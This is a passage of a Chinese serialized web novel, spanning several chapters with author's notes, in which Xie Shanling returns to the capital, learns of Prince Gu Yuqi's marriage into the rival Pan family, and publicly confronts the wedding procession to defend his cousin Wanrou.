他早已经传激情反对的文书回京了,但都石沉大海没有回音。顾望笙这厮还说风凉话说肯定没用。 陈贤直自顾自在床边劝说了一会儿,无奈自己也觉得没劲,劝说起来干巴巴的,反而把自己给说生气了,痛骂了二皇子和豲戎一通。 谢善淩依旧一动不动地躺在那里,不发一言。 顾望笙坐在桌旁自顾自吃完了谢善淩刚剩下大半的饭。 * 又过了几日,眼看京城越来越近,谢善淩勉强自己爬起来下地走动走动,恢复一些气色,以防到时前来接的家人见着了太担心。 但他气血虚弱,走几步都喘不上气来,脚下发软,心中疲累非常,随时都要往地上倒。顾望笙不得不紧陪在他身边,时刻准备好搀扶在怀中。 好在谢善淩倒也不逞强,肯乖顺地靠在顾望笙怀中。顾望笙索性抱着他四处走动,他也乐意。 顾望笙给他系好大氅,掖严实了,抱去甲板上看看风景,谢善淩爱看风景。 谢善淩依旧不发一言,顾望笙就自己絮絮叨叨地找话茬跟他聊。 船上其他人见着了,觉得两人实在腻歪,可谢善淩这副样子,就连顾裕珩都不好说什么。 他乍听到老二促成结盟时第一反应也很愤怒,不过后来想想匪军是如何对待自己的,又觉得和豲戎结盟剿匪也挺好。但谢善淩为这事儿生病他也能理解。 “你看那边,是京城吧?”顾望笙指着远处隐隐约约的城郭轮廓问。 谢善淩迟缓地抬眼看去。 “回去后躺着比这船上舒服些。”前些时日顾望笙总拿家人说事儿激励他好起来,效果不大,顾望笙已经自己调整好了心态,改口道,“你就好好休息,我一直陪着你。” “……抱歉。”谢善淩难得说了句话,嗓子哑哑的。 顾望笙听得心疼,先急着问:“喝点水好不好?” 谢善淩点了下头。 先前顾望笙让人搬来椅子放在船头,此刻他坐在椅子上,谢善淩坐他腿上,他一手扶着人,另一只手从旁边的桌上拿了茶水,面不改色地以内力暗暗催温,然后才喂给谢善淩。 谢善淩小口喝了几下,又赖回他的怀里。 顾望笙这才接上刚刚的话头:“你不要道歉,生病又不是你想的,我知道你已经很努力了,别给自己太大压力,不是你的错。” 他说得很真挚,也很温柔,显得十分的稳重可靠。谢善淩轻轻抓着他的衣角,又过了一阵,低低道:“嗯。” 顾望笙低头细细查看着他神色,用指缝为他梳理长发:“再看一会儿,若困了就睡,我就抱你回屋去好不好?” 谢善淩忽的道:“我想看一看书。” 都这时候了还看什么书……顾望笙想了想问:“眼睛不累么?看得明白吗?” 其实还真看不太明白,谢善淩每天饿得眼冒金星。但他就是想看。他就小声指挥:“你给我读。” 顾望笙听了这话大喜过望,忙不迭答应,问想看什么书,启程前就特意为谢善淩准备了一些的,原本是防备他路上无聊。 谢善淩说随便,顾望笙就让人随便拿本来,一看是《易经》,顾望笙有点不太乐意,生怕谢善淩一言不合又要搞玄去,但还是硬着头皮念。 怕什么来什么,谢善淩听了一会儿,不睡觉反而越发多了点精神,话也多了。 “你会占卜吗?”谢善淩问。 “不会。”顾望笙警惕道,“我觉得人该务实,神神道道的东西不可靠。” 谢善淩自顾自说:“我会。” “你什么都会,会点别的多好,会什么算命……”顾望笙嘀咕。 谢善淩幽幽道:“我不用算也知道你再说下去我又不说话了。” “这么多天你就现在说起这神神道道的事来了兴趣,我就怕你又闹着要出尘修道。”顾望笙搂紧了他,“你若是去当道士,那我也只能去当了。” 谢善淩轻轻地笑了笑,甚至有心思逗他:“修道又不是做和尚,不用休你,你急什么。” 顾望笙哼了一声。 “给我三枚铜钱。”谢善淩说。 顾望笙不太愿意他弄这些,但还是给了他,就看着他在怀中神色淡漠又认真地投掷,顺便瞥了眼卦象,这下子乐意了,紧皱的眉头松了点。 虽然不知谢善淩究竟问的什么,但看起来很好。 “是乾卦。”顾望笙开心道。 谢善淩扭头看他:“不是说不会吗?还以为你真不会,那么嫌弃。” 顾望笙诚实道:“不符合我心意的我就嫌弃它是玄学之说不可信,符合我心意的大吉之卦我就愿意看愿意信。” 谢善淩看着他理直气壮的样子,忍不住笑了笑。 “其实大多数人都是这样的。”谢善淩说。 顾望笙和他黏黏糊糊:“我才不是大多数人,我是你唯一的夫君。” 谢善淩无视掉这句话,又扔了几次,顾望笙提心吊胆地看着,暗暗警告这三枚铜钱识相点,若是坏卦就把它们扔水里去。 大夫其实早就说过,谢善淩生这病,有时还能寄托于虚无,愿意访神问道,其实不算完全的坏事儿,有些时候反倒能勉励他迷茫无可依傍的心神。 铜钱识相,接连都出来的大吉之卦。谢善淩的精神肉眼可见好了许多,原本沉沉的眼中也有了几分光彩。 顾望笙开始感恩易经,赶紧夸夸,说传承这么多年肯定有道理的,肯定一切都会好起来。 谢善淩也很高兴,试着和他一起解说起卦象来,听他说得头头是道,渐渐心思就不在卦上了,转头一直看着他的脸。 顾望笙越发装模作样起来,滔滔不绝说了大半晌,展示自己的博学多才。 “你不信你还钻研这么深?”谢善淩问。 顾望笙假谦虚:“没怎么钻研,就是随便看看,不能入方家之眼。”转而就目的性极强地问,“不知能不能入谢小公子的眼?也就只想入谢小公子的眼。” 谢小公子给他的回应是笑了笑,脸贴上他的脖颈,矜持道:“还行吧,能凑合过。” 顾望笙不满意,当即道:“得了吧你,比我还能装,你分明被我迷住了。” 谢善淩不接话茬,低着头收起铜钱放进自己荷包里。顾望笙又来嘀咕:“我的钱……行行行你的钱你的钱。抢钱你还有理了,还瞪我。” “那还给你。”谢善淩佯怒。 顾望笙十分配合:“我求您拿的,您就赏脸笑纳吧!” 谢善淩被他哄得又笑起来,顾望笙也笑了起来,给他掖掖衣角,摸摸他脸问:“不冷吗?要不要进去?” “再坐会儿吧,不冷。”谢善淩微微动了动,看向水面远方。 * 也许是托了那几卦的福,谢善淩精神渐渐好起来,抵达京城时,他虽然脸色仍有些苍白,但已经能自己好好走路了。 谢大伯带着弟弟和几个小辈一早等在码头,见着谢善淩,急忙上下打量一阵,确定他真安安全全回来了,才终于将悬起的心放回原处。 “侄儿不孝,让你们担心了。”谢善淩愧疚道。 “唉,你也不想的,都是匪军和……唉,不说了不说了,快回去吧,你祖母可想你了。”谢大伯说着,注意到弟弟一直脸色难看地死盯着某处,顺着一看,是女扮男装的谢婉柔。 “……”谢大伯暗中拉了下弟弟,轻声道,“别在外头说,回家再说。再者我都跟你说多少回了,担心这么久,一直都在说人能平安回来就好,难得如了你的愿,何苦又来闹。” 最终谢二伯只是铁青着脸转身,没在人前对那胆大妄为的女儿发作。 谢大伯叹了声气,转头看着三皇子刚刚已被宫里的人浩浩荡荡接走远去的身影,看向顾望笙,轻声道:“大殿下,我们也走吧。” “嗯,回去吧。”顾望笙说,“我也该向岳祖母和岳母告罪,叫善淩受了这些苦。” 谢大伯也这么觉得,但嘴上只能客套几句,转而想起什么:“不过大殿下,谢家这边可以押后再说,二皇子今日成亲,您要不要先去参加?” 虽然大殿下和二皇子的兄弟关系很不咋样……表面功夫还是要做吧。 第76章 ◎就是不知道我这聪明的二弟给潘国梁许下了什么好处。◎ 谢大伯的话犹如一道惊雷, 谢善淩震诧,下意识地就要转头去看谢婉柔的反应,却被身旁的顾望笙猛然握住了手腕。 他回过神来,意识到这里人多眼杂。 谢大伯想起什么, 摇了摇头:“我说岔嘴了。如今已经不好称二皇子殿下, 而是楚王殿下。” 三皇子和四皇子争夺头一个封王且封秦王的事, 朝中上下谁人不知?为此惹出那么多的风波来,却谁都不曾想到, 最后头一位封王的皇子居然是以往极其不受皇帝喜爱的二皇子。 虽然封号不是秦,然而秦晋齐楚, 也已说明了皇帝寄予厚望之情。 “此次二皇子死而复生,还促成了大梁和豲戎两百年来的首次结盟, 圣心大悦,封赏不断,如今对他很是宠信。”谢大伯低声道。 谢善淩忽的咳嗽起来, 他以拳抵唇,一边咳一边自然地别过身,借由这个姿势飞快地看了眼谢婉柔。 她显然也听见了刚刚那些话, 脸色惨白, 神色怔然,身形摇晃了几下,却居然硬撑住了,连眼泪都没有落。 顾望笙佯装关心谢善淩,在他耳边低声道:“她比你我以为的坚强,凡事先回去关起门来再说。” 谢善淩微微点头, 止住咳嗽。 顾望笙搀扶着他, 朝谢大伯道:“避开迎亲仪仗会走的路吧, 别堵到了一起,我就算全兄弟之义,也得先回府沐浴更衣,进宫向父皇请安。” 谢大伯明白他的意思,点头道:“自然。” 顾望笙和谢善淩坐上谢聪赶的马车,他将谢善淩拢在怀里嘘寒问暖,生怕刚刚在码头上那一阵风把这灯美人给吹伤了。 谢善淩此刻无心亲热,低声问道:“难道此前全无风声?” “顾裕骐谨慎,怕被人搅局,最近才让成亲的消息传出来,而我们走水路,传信不易,前日靠岸借口给你去抓药我才得了最近的消息,想着也没几天了,那日你样子不好,说了也是白说,就没说。至于他封王的事就更没必要特意说了。”顾望笙有几分讪讪。 谢善淩没有生气,只是叹了声气。 “别叹气。”顾望笙摸摸他的脸,“也别生我的气,那会儿你没今日这么精神,我真不敢刺激你……” “倒也没有那么刺激。”谢善淩叹道,“只是可惜婉柔一片痴心错付。虽然……” 虽然原本他也并不认为顾裕骐是良配,只是这消息来得突然又凑巧,对于婉柔而言过于残忍。 “当时顾裕骐假死脱身,可大部分人都只知道他是死了,婉柔却为了那付心意甘冒风险,鼓起一腔孤勇、怀抱着稀薄的希望南下寻他……” “她自小性情柔顺腼腆,是姊妹里最胆小的,却能为他做到那份上。”谢善淩的眼眸中有着对她的心疼,也有着对顾裕骐此举不忿的寒光。 顾裕骐明明也喜欢谢婉柔。这次死而复生回来立刻就另娶他人,不须想也知道其中定是为了权势。 谢善淩便是因此觉得他不配谢婉柔的一腔深情。 顾裕骐不可能不知道谢婉柔失踪,也不可能猜不到谢婉柔失踪的原因。可他依旧选择了另一条路。 “出发前婉柔就知道了他活着回到京城,当时她看起来那么开心。我私下里和她说话,告诉她家人已知道她和二皇子的私情,问她的打算,她又愧又羞,分明还是念着他。我当时还在想,也许回京后事闹出来,反倒成全了他俩。” 谢善淩缓缓说着,“恐怕她一路也是这么想的,如今却是当头一棒,不知此刻是何滋味。” 顾望笙也忍不住叹气,转而安慰他道:“其实对于婉柔堂妹还算好的,至少现在就能死心了,总比纠缠得更深了她才被顾裕骐伤透好。如今我们都还能将她和他以前的事遮掩过去,以后不再提。我看她不是表面那么柔弱,也许我们都轻看了她,她又爱看佛经,说不定很快就能看透……不好!” 顾望笙猛然惊醒:“你一不如意了就闹着当道士,你堂妹不会闹着当尼姑吧?!” 谢善淩:“……” 这话他甚至不敢接,因为他也觉得这很有理有据。 倒不是说自己想当道士来类推堂妹,而是他比顾望笙更了解堂妹多爱研读佛经…… 顾望笙正一惊一乍,谢善淩已经镇定下来,并且狠下心断道:“若真如此,也比跳入火坑强。” 却也只是事已至此的自我安慰言辞。可除此之外又能怎样呢? 马车里安静了一会儿,顾望笙瞅瞅谢善淩的脸色,很是艰难地想了想:“其实我还有话没说完……我不告诉你这件事,真是怕刺激到你……” 谢善淩不解地看他:“你为何会觉得这件事会很刺激到我?” 顾望笙还在迟疑,谢善淩想了又想,微微皱眉,狐疑地问:“顾裕骐是和哪家结亲?” 到了此刻,这事没有瞒的必要了。顾望笙轻声道:“潘凤。” 谢善淩一怔。 潘凤是潘成栋的亲妹妹,也是个飞扬跋扈的主儿,没她哥哥那般作出大恶之事,却也常常惹是生非。 “先前顾裕泽不是绞尽脑汁拉拢潘国梁和潘成栋吗,看来他白忙活了。”顾望笙嘴角噙着冷笑,“这门婚事能成,想来潘家是彻底倒向了,就是不知道我这聪明的二弟给潘国梁许下了什么好处。” “未来的国丈还不算好条件吗?”谢善淩冷冷道。 “以潘家的贪婪,我想仅仅如此还真不够。”顾望笙道。 两人议论间,马车猛地急刹,然而谢善淩还没来得及摇晃一下,就已经被顾望笙反应极快地牢牢护到了怀里,丝毫不受影响。 “你未卜先知啊?”谢善淩问。 “你夫君耳聪目明,眼观六路耳听八方。”顾望笙回着嘴,伸长手臂拉开门帘,问,“怎么回事?” 谢聪原本正探长脖子看热闹,听他问,回头道:“好像是堂小姐要跳车跑。” 谢善淩:“……” “少爷别急,大家堵着她在劝呢。”谢聪安慰他。 少爷没被安慰到多少,蹙眉道:“她肯定是想去……这……” 没想到都这样了她竟难道还想着那个人吗?她这是要去做什么?当街抢亲吗?! “我去看看。”谢善淩坐不住了,呼吸急促喘着,挣扎着就要下车。 “哎你等等,别急,我扶你,你别把自己先给伤着了……慢点儿!唉!”顾望笙忙不迭地认命当谢善淩专属小厮。 顾望笙扶着谢善淩落地,刚走近围了两层人的谢婉柔马车,就听到一阵喧闹喜乐在鞭炮声中由远及近。 众人纷纷看去,都很惊讶:“怎么走这条路了……” 旁边赶来看热闹的人听到,顺嘴回:“那是楚王的迎亲队伍吧!听说原本是走西大街那边,但必经之路上突然出了意外,就临时改道了。” 作者有话要说: 这章前面再看一遍哈,有情节补充[玫瑰][鸽子] 第77章 ◎不止今日,来日你潘家的红白喜事,我都一定亲来祝贺。◎ “回车上去!”谢二伯朝这个不肖女低声怒斥。 谢婉柔却铁了心, 她虽眼睛红透,嘴唇也咬破了,却依旧竭力维持着仅存的体面。 “我只是想看一看王爷成亲的热闹。”她甚至眼中还噙着泪花笑了起来,好像真的是想看热闹, “看完就和您回去。” 谢二伯真是气恼了。 今日出门前家人再三劝他, 说人平安回来就好, 教训也吃过了,就算要责罚也千万别在人前张扬, 千万忍到回家关起门再说……他原本也那么想的,可她这根本就毫无悔改的样子实在是叫他愤怒! 真就……真就是个不吃教训的糊涂虫!! 眼看他就要忍不住直接上手, 谢善鸣谢善丰兄弟俩眼疾手快地一左一右将他拽住。 谢善丰小声劝道:“爹,爹, 大庭广众之下,你不为她的颜面着想,也为爷爷的名声想, 这么大岁数了被人笑话么?” 这话确实有用,他爹双手紧紧握拳,却终究强行冷静下来, 只是说:“那你们把她弄回车上去!” 谢善丰松开他, 走去妹妹面前正要开口劝,这个一贯柔顺的妹妹却苍白着一张脸,红着眼睛含着泪水地对他说:“我真的只是看一看热闹,热闹只有看完了才算真正散了。” “……”怎么跟谢善淩似的神神叨叨…… 谢善丰无奈地回头,瞅见亲爹那张锅底似的脸和攥紧的拳头,又看向妹妹, 小声苦劝:“唉, 你这又是何必, 爹又不是大伯的好脾气,真把他惹急了,我和大哥都拉不住他。你赶紧回去吧,什么都回去再说……没什么好看的,那混蛋还长那样儿没变!” 谢婉柔依旧硬站着不肯回去车上。 僵持了这一阵,迎亲的队伍已经浩浩荡荡地走近了,声响震耳欲聋,鞭炮就好像是在众人脚下炸开。 谢二伯忍不了了,正要甩开大儿子冲上前动手,谢善淩道:“那就看看吧。” 他厉目看过来:“你别说话!” 他难得如此严厉地斥责谢善淩,谢善淩理解他,并不多想,只是道:“二伯,我相信她只是看热闹。她说得没错,热闹只有看完了才算真正散了。” 谢善鸣也回过味来了,凑到父亲耳边道:“我们盯紧点,若有不对立刻将她捂住嘴拖走……就让她彻底死了那条心也好。” 谢大伯长叹一声,也劝起来。 谢二伯死死盯着女儿,与她四目相对,良久之后重重一甩衣袖挣开大儿子的手,别过头喘着粗气不言语。可这姿态已是答案。 “……谢谢爹。”谢婉柔低声说完,转身朝迎亲队伍的方向走去。 谢善鸣谢善丰急忙跟上去,将她夹在中间牢牢盯着,若她一会儿真发疯,也就只能动手绑回去了。 谢善淩慢悠悠地也走了过去,身边自然跟着寸步不离的顾望笙。 很快众人就都站在了路边看着长长的队伍吹打着热闹着游走过去,人群里的稚子起哄叫起来“新郎官儿”“新郎官儿”,谢善淩和顾望笙顺着看向了骑着高头大马而来的楚王顾裕骐。 许久未见,顾裕骐越发的阴郁。他今日身上穿着大红的喜袍,却依旧面无表情,更显阴森,脸白得像不该见阳光的鬼。 谢善淩的视线没有在他身上停留太久,移到了骑着马跟在他身侧后一点的潘成栋身上。 潘成栋也回了京城,也许是别有安排,也许只是纯粹回来遵守习俗作为娘家亲兄弟出面迎送。前者的可能性更大。如今潘家舍了顾裕泽选了顾裕骐,难免不放心将他再放在顾裕泽眼皮子下。 潘成栋满脸喜气,坐在马上摇头晃脑,得意洋洋的样子好像他才是今日的新郎官一样。 谢善淩盯着潘成栋的脸看了很久,直到余光注意到了顾裕骐的异样,才看回顾裕骐的脸上。 顾裕骐发现了他们,向来如一潭死水的脸上有过那么几瞬的失态,诧异?心虚?羞愧?痛苦?挣扎?绝望?似乎都有,可是如水一般流过去抓不住。 他只有一瞬握住马缰的手指紧了紧,只是一瞬而已。马没有停下,没事一样遵循着刚刚的速度前进。 谢婉柔仰着脸,隔着周遭的热闹,遥遥地与他四目相对。 这不是在寺庙之中,在那里一切静谧,他们中间总是隔着竹帘,很少这样直视彼此。 他也不再是在寺庙时的他。因此,这一刻起,她也不再是在寺庙时的她。 谢善丰默默掏出手帕递给满面泪水的妹妹,做贼似的偷偷扭头注意人群外还在生气的父亲,生怕他知道了又要忍不住动手。 唉,婉柔这般涉世未深情窦初开的单纯女孩子,最容易被男人骗了,还是心机深沉的二皇子,真要打也是该打这个薄情负心汉啊……虽然不敢打…… 正当他出神在心中咒骂顾裕骐时,突然耳边听到惊呼声,本能地一把攥紧了妹妹的手腕:“你真是不撞南墙不——哎?” 妹妹好像被自己吓了一跳,睁大眼睛无辜地看着自己。 谢善丰怔了怔,顺着其他人视线看去,顿时倒吸一口凉气—— “谢善淩!你干嘛?!”他失声叫道。 谢善淩脚下一步也没迟疑停留,继续拨开人群朝街中央走去,然后站在那里不动。 走在迎亲队伍里的人们面面相觑,但没人叫停,他们不敢擅自停下,只好经过他时默默往旁边避一下。 直到顾裕骐骑着的马来到了谢善淩面前。 顾望笙早已站在了谢善淩身边护着,正要喝令停马,顾裕骐主动地停了下来。队伍见状终于也都停了下来。 因这突如其来的变故,这一阵的鞭炮放完都不知要不要接着放,吹拉弹唱的乐师们同样不知所措,渐渐声音小到消失。依然乌泱泱的大片人,整条街却变得针落可闻。 潘成栋反应过来,脸上喜色荡然无存,嘶声打破这阵死寂:“谢善淩你好大的胆子!你想干什么?滚开!这里是楚王殿下迎亲的队伍,你竟敢捣乱,有几条命能赔上你自己掂量!” 谢善淩冷笑着看他:“我自然知道这是楚王殿下和你亲妹妹潘凤的迎亲队伍。当日我成亲你为我送上大礼,今日你亲妹妹成亲我焉能不回敬?不止今日,来日你潘家的红白喜事,不管是你死了爹还是死了娘,还是全家死绝了出殡,我都一定亲来祝贺。” 作者有话要说: 谢善淩:发疯是吧,我看谁疯得过我。 陈贤直:贤弟不必在这种事上争第一…… 谢善淩:贤兄榜眼而已,自是不懂。 陈贤直:……………… 江泊润:好了现在我们可以一起说谢思玄的坏话了吧。(上次提议被陈贤直拒绝并苦劝了一顿要理解病人的不容易) 陈贤直:说吧。我先说。 江泊润:按理应当如此,但我现在不想讲理,我先说,我要说的太多了。 陈贤直:不,我先。 第78章 ◎“谢善淩你不要欺人太甚!!”◎ “你!!”潘成栋顿时目眦欲裂, “谢善淩你——!!!” 他气得浑身发抖,当即就要勒马朝这边冲过来让马蹄从这家伙的身上踩过去——却被顾裕骐抬手拦住了。 “他——殿下,他这分明——” 潘成栋气得说起话来都结巴了,被顾裕骐打断。顾裕骐不是和他说话, 而是对谢善淩说:“让开。” “让潘成栋下马来我跟前给我磕三个响头, 我就让开。”谢善淩神情淡漠, “否则今日只能得罪了,请你们绕路或退到一边, 让我们先行。” 潘成栋都被他气笑了:“哈哈哈哈……谢善淩你疯了吧!你在说什么?!你是哪根葱——” “我是亲自审你奸|淫|逼|死民妇一案、亲手判你死刑、却被你潘家报复构陷不得不愤而辞官的前顺天府府丞谢思玄。” 谢善淩的声音不算很大,却清亮明晰, 掷地有声,周围的人都能听得一清二楚, 不由想起曾经那件事,神色各异。 再看向谢善淩,只见这人腰杆笔直, 脖颈修长,立在那里如同天地间立着一支宁折不断的笔。 潘成栋大吼:“谢善淩你究竟想撒哪门子疯?速速滚开!否则别怪我对你不客气!你想闹到圣上那里去吗?!” “你闹到玉皇大帝那里去又如何?” 谢善淩依旧一副冷静的矜贵模样,和大吼大叫面色狰狞的潘成栋形成了鲜明对比。 他不急不缓地说着:“在我的面前, 潘成栋你永远都是一个因□□罪、杀人罪被判处绞刑的待死之囚。” “你——” 谢善淩没兴趣听他说话, 转而看向顾裕骐。 “而你,楚王,在我的面前,则是一个罔顾无数无辜惨死于豲戎野心贪欲铁蹄刀剑下的大梁百姓亡魂的不择手段的无耻之徒。” “善淩!”谢大伯冲过来一把拉住他往旁推,一面惊恐地去看楚王的脸色,心中飞速盘算起要不要当众说谢善淩发病了。 好过他做这大逆不道的事而遭受来自皇帝的雷霆之怒。 潘成栋则反而兴奋起来, 喘着粗气, 眼中闪着猩红嗜血的光芒, 尖利叫道:“殿下,还不叫人将他抓起来?!谢善淩,我看你今日还不死?!” 谢婉柔也反应过来了。 这会儿根本没人再顾得上管她,都去忙着拉真正叫作发疯的谢善淩。 她赶紧也过去,不顾兄长的低声斥问“你怎么也来了,别添乱,一边儿去”,护到谢善淩身前,咬住牙看着顾裕骐。 “……” 顾裕骐沉默了一阵,道,“谢善淩有疯病,人尽皆知,念在他父亲与谢太傅的面上,父皇也一向容忍。此刻他南下归来,风尘仆仆,应该是又发病了,却也是皇兄你看管不严。” 他看了眼顾望笙,微微眯了眯眼,一瞬间杀气腾然,但立刻就消散去,仍旧语气平淡,说:“让路给他们先行,好带谢善淩去看病。” 潘成栋不料他还真让路,顿时急了:“殿下怎么能——” 顾裕骐斜眼瞥他,他一时讪讪,却仍旧不甘,死死攥紧缰绳低声道:“殿下如此,您和潘家的脸面何存……” 顾裕骐很厌烦和他说话,声音越发冷沉:“我说让路。” “我……”潘成栋几乎咬碎了一口牙,仍在左思右想间,顾裕骐已经自顾自驾马退到街道一旁。 “殿下……” 是楚王殿下,还是今日的新郎官儿,他都已经那么说了这么做了,其他人虽面面相觑,却只能跟着照做,纷纷朝道路一侧挤去,给谢府的马车腾路。 最后,路中央只剩下了潘成栋一人一马。 潘成栋:“……” 他被架住了,一时之间竟有些慌乱。 好在很快楚王殿下又发话了:“让路。” 潘成栋急忙抓着这台阶下,恨恨瞪谢善淩一眼,扔下一句“好你谢善淩,我今日不和你这发病的疯子计较,来日看圣上如何处置你!”就悻悻然忙不迭地勒马跟着退去路边。 谢善淩转头看向不远处的谢府马车,道:“驾过来。” “善淩!”谢大伯出声阻止。 虽然楚王让了,可难不成谢府众人还真敢大摇大摆如此嚣张地坐车先行? “好了,你不要说话了。大殿下快带他回车里去,我去向楚王道歉……” 谢大伯话音未落,谢善淩开口道:“谢大人,你和其他人不敢坐这马车,我不逼你们,我知道你们怕得罪楚王殿下。可是我不怕。他和潘家在我的面前都没有资格和我谈论得罪。” “休得说这狂悖之辞!” 他如何不知道这侄儿是在撇清谢府众人的干系,可此刻也起不了感谢的心思,甚至理解了二弟想对婉柔动手的心,他现在就想替三弟尽父亲之责来打谢善淩。 当真是风水出了事儿么?怎么家里的倔驴不减反增!婉柔竟也那么能倔!这就邪门儿! “你们……快将他拉走啊!”谢大伯朝几个谢家儿郎使眼色,只等他们把谢善淩拉走后自己再豁出老脸去赔罪。 不等其他人反应,谢善淩问:“大伯,你想我一头撞死在这吗?” “谢思玄!”谢大伯彻底怒了,“你——” “谢大人!” 谢大伯忙看向楚王:“殿下……” “你再拉扯也只是白白耽误工夫。”顾裕骐微微皱眉,声音里染上了薄怒,“本王说了让,你们就过!若再纠缠,休怪本王不客气。” 他知道这人的意思,甚至堪称好意,可他不需要!他现在唯一需要的就是能立刻马上不再看到谢婉柔望向自己那失望透顶的眼睛! 谢大伯猛然意识到了,瞥了眼谢婉柔,又看了下谢善淩,最终只能叫谢聪将谢善淩坐的马车赶来,其他的给了个眼神,都不让动。 谢善淩却执拗地看向谢婉柔的马车,意思很明显。 谢大伯闭上眼睛当自己什么都不知道。 车夫得不到大老爷的眼神意思,二老爷也一脸悲愤欲绝的模样闭着眼睛。他:“……” 谢婉柔收回了视线看向堂兄:“我无妨……” “你应该坐。”谢善淩说。 谢婉柔深知自己犟不过犟起来的善淩堂兄,一时之间有些无措,想了想,又看向了顾裕骐。哦,不,应该尊称他为楚王殿下。 “……”楚王沉声道,“现在是本王命令那辆马车过来。” 见那马夫还在犹犹豫豫,他索性叫来跟在身侧的心腹侍卫,让他去将马车赶过来。 马夫自然不敢拦阻,仓皇滚下车去爬起来跟其他人站一起。 顾裕骐见马车过来,掩饰道:“全都照你的心意做,谢善淩,你满意了?” 谢善淩却摇了摇头,道:“下马。” “谢善淩你不要欺人太甚!!”潘成栋的嗓子都吼嘶哑了。 谢善淩只看着顾裕骐,根本不再理他。 “堂兄……”谢婉柔咬住了嘴唇,先前她都没哭,这会儿被堂兄给吓得想哭了。 顾裕骐收回视线,一言不发地下了马站在地上。 “殿下!!!” 潘成栋瞠目结舌地看着他,差点脱口而出问他也疯了是吗?!究竟在怕谢善淩什么?难道真怕谢善淩一头撞死在这吗?要真是,岂不是天大的好事? 顾裕骐却只是冷冷地看他,眼中含有威胁之意:“下马。” “……” 此刻,无数双眼睛都在盯着潘成栋,他胸口一阵绞痛,喘不过气来,眼前发黑,手脚也都因巨大的羞耻不甘和愤怒而颤抖。 可最终,他还是下了马。 不过在脚落地的一瞬间,他就低头一口血呕在了自己特意为了今天接妹妹出嫁而让人赶工缝制的苏绣新鞋上,顿时脏污得不成样。 他急火攻心,接连又呕了几口血。潘府的下人吓得赶紧过来搀扶,却被他暴戾地踹飞出去。 他一只手捂着心口,一只手狠狠地抹去嘴角的血,半低着头,抬眼翻出几乎三分之二的眼白来仇恨地直直地盯着谢善淩。 “谢善淩,你会后悔的。”他咬着牙一字一顿地说,脸上的血管几乎都要凸出皮来。 回应他的是谢善淩的冷笑,以及一句:“如果你能活到那天的话。” 随后,谢善淩几乎是用眼神逼迫着谢婉柔上了马车,自己才上了车。 谢婉柔的马车过去时,顾裕骐好像看到窗帘一角微微地动了动,又觉得这只能是自己可笑的妄想。 他想,她再也不会为这个肮脏不堪的人掀开帘子。 …… 马车内,谢善淩突然愣了下,转身掀开窗帘一角朝上方屋顶看去。 高耸的顶上空荡荡,什么也没有。 “怎么了?”顾望笙问。 他犹豫了下,摇了摇头:“感觉……没什么,错觉而已。” 将灵已经死了,被他亲手用利剑从左心口穿过,那里是人心的位置,流了那么多的血,不可能还能活。而且他谨慎地架火连尸体都烧了。 将灵理应有这样的下场。他领着豲戎人屠掠大梁边境百姓时就爱一把火将整个村落死了的受了伤还没死的人都一起烧掉,斩草除根,毁灭痕迹。 谢善淩看到过焚烧过后的断壁残垣。 焦尸扭曲,有的大人和幼子的抱在一起已经烧黏起来分不开,大概是死前父母抱着孩子。有的用手在地面刨出了长长的深刻的抓痕,满载了被活生生烧死的痛苦和绝望。 将灵还只是死后才被烧,省去了多少痛苦。 所以那时他梦见将灵鬼魂入梦索命,一点也不惧怕和心虚。 “如果凭你都有脸也有本事向我索命,那被你残杀的无数百姓冤魂早已经将你的命索去,哪里轮得到我来做这件事。”他轻蔑地说。 梦就破了,将灵的鬼魂不敢再造次。 “……” “……善凌?善凌?究竟怎么了?” 被顾望笙的声音拉回来,谢善淩看着他,又摇头,靠入他怀中道:“不知婉柔怎么样了。一会儿到家后也怕二叔发火。” “你们家女孩儿罚跪祠堂吗?”顾望笙问。 谢善淩毫无头绪:“姊妹里没发生过要被罚跪祠堂的事。”没有前例,无从稽考。 “打应该不会打,跪就难说了。”顾望笙分析着,突然问,“你干过要罚跪祠堂的事吗?” “小时偶尔和兄弟顽皮,但只是小打小闹,通常只罚去祠堂抄书。长大后我做的不是罚跪祠堂能解决的事,索性没罚。”谢善淩假装自己老实巴交地说。 顾望笙:“……” …… 某个高处坐着一人,他面前有房檐遮挡,乍从别处看不到隐身于后的他,他却能透过雕花镂空的空隙看到下面。 他看到了刚刚在底下发生的一切,但又好像从始至终只看着一个人。 良久,男人的脸上浮现出一抹诡异兴奋的笑容。 旋即想起一直黏在谢善淩身边的男人,笑容逐渐消失,化作要拆骨食肉的妒恨与怨毒。 作者有话要说: 潘成栋:殿下这样子让豲戎知道了会如何?!(试图吓唬) 顾裕骐:你最好祈祷将灵不知道今天的事。(虽然不可能,也根本不少这一件) 潘成栋:? 将灵:没事没事,真的不少这一件。谢善淩只能我来羞辱,其他人怎么配羞辱他,全都要死,早死晚一点点死怎么死的区别罢了。 潘成栋:????????你俩咋比顾裕泽还有病啊! 第79章 ◎谢善淩冷笑道:“土匪劲儿又犯了是吗?”◎ 回家后谢婉柔自然遭受了来自父亲凶狠的叱责。 她自知理亏, 并不驳斥,跪在地上垂着头安静听,听完了柔顺地问错。 如此一来,谢二伯反倒不知如何是好了。 闺女不比小子, 看起来如此柔弱, 总不能打一顿, 他都怕一棍子下去把人打出个好歹,恐怕到时候就是自己挨亲娘的棍子了, 夫人也得跟自己闹。 家族中的闺女虽性情各异,却没有蛮横胡闹的, 一时之间他是真不知拿这个女儿怎么办才好。 半晌,他粗声粗气地对孩子娘道:“你教!我是教不了!” 随即对谢婉柔扔下狠话:“若再胡闹, 自己掂量!”说完,拂袖而去。 丈夫离去后,谢二婶抹着泪拉起女儿坐到榻上, 细细地再三查问周全,确认没事这才终于将一颗心放回原位,拭去眼泪, 忍不住也说了她一通, 说着说着就骂起了那令自己恨极的诱拐自己最乖巧的女儿的万恶的二皇子。 私下里撩拨已经无耻,让他撩拨上了他如今竟还另娶他人!还是和谢府有着深仇大恨的潘府的女儿!这根本就…… 谢婉柔刚刚被父亲责骂也没哭,如今听着母亲的话,终究忍不住投入她怀中嘤嘤哭泣,许久都止不住。 这些时日以来遭受的惊吓磨难,还有今日的事……全都堵在她的心口, 此刻化作委屈的泪水流了出来。 作为母亲又如何还能硬起心肠, 只能轻轻拍着她的背安抚:“你父亲嘴硬心软, 只要你往后不再胡闹就好,家里上下都很担心你,合力瞒着外头……” “女儿不孝,让你们难做了。”谢婉柔哽咽着主动道,“往后我再……再不……再不想念他……” 说着,又是一阵泪水汹涌,心口绞痛。是该放下,可是一腔真情,又怎是说放就能放的。 